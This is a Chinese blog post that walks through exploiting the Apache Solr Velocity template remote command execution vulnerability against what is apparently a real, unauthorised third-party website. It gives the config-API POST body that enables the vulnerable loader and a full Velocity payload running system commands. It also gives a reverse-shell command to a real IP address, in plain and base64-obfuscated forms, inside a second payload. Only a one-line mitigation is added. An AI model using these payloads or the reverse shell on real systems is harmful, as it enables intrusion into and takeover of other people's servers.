Apache Solr远程命令执行漏洞

呜呜呜呜呜大佬们都太猛了,我就晚了半天,基本上所有的站都被大佬们x了个遍…呜呜呜呜呜
但是即便是在这样的情况下,我还是捡了个漏,好了好了,开始了

漏洞名称:
Apache Solr远程命令执行漏洞
漏洞危害:
远程命令执行,容易被人getshell,使自己的服务器成为别人的肉鸡…

产生原因(攻击前提):
能够直接访问solr控制台,那么就能通过特定路径来修改配置文件
apache solr默认的VelocityResponseWriter插件中的params.resource.loader.enabled参数默认为false,如果通过修改配置使之为true,就能加载相关资源,造成攻击;

漏洞影响:
只要存在config API的版本,就有可能存在此漏洞;

复现过程:
参考:

http://mp.weixin.qq.com/s?__biz=MzI5ODQ3MzM4MA==&mid=2247483910&idx=1&sn=26d2ab1b9ee61e3071821c3156cca0af&chksm=eca400cddbd389dba45e4a1503bd39013191d0ef0d08af70bb56c4e8863aa89fdf6afee5a6dc&mpshare=1&scene=23&srcid=&sharer_sharetime=1572682899817&sharer_shareid=54f9c24e5da78a40cd65864770c2b6f9#rd

微信公众号里面为了方便找到应用路径,告诉我们可以点击Core Admin来获得应用路径,然后这个网站就把Core Admin改成Collections,嗯??????欺骗我读书少?
反正找到了应用路径,在抓取url/solr/your_path/config的包
Apache Solr远程命令执行漏洞_第1张图片
抓包,POST以下数据:


{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

Apache Solr远程命令执行漏洞_第2张图片可以看见返回正常,此时已经修改成功
接着在url/solr/your_path/select页面,payload如下:

/solr/your_path/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

页面返回
在这里插入图片描述此时远程命令已经执行成功

反弹shell:
对于这个网站来说,直接用:

bash -i >& /dev/tcp/139.155.1.64/1234 0>&1

是不行的,然后我想着用base64加密绕过

bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMzkuMTU1LjEuNjQvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D

这是明文:

bash -c {echo,bash -i >& /dev/tcp/139.155.1.64/1234 0>&1}{base64,-d}|{bash,-i}

bash -c string执行cmd命令,base64,-d从标准输入中读取已经进行base64编码的内容,解码输出.
事实证明,这是可以的,虽然我反弹了很久才进去,唉…
这是payload:

/solr/your_path/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMzkuMTU1LjEuNjQvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

但是还是要放一张胜利截图:
Apache Solr远程命令执行漏洞_第3张图片睡了个觉起来人家就已经下线了呜呜呜呜

关于我寻找漏洞网页时遇到的各种问题,这个大佬已经概况的很全了,我就不再赘述:

https://blog.csdn.net/sun1318578251/article/details/102843715

补救办法:
由于官网还没有发出什么补丁,所以可以暂时将solr控制台服务仅对内网开放

你可能感兴趣的:(漏洞复现,挖洞)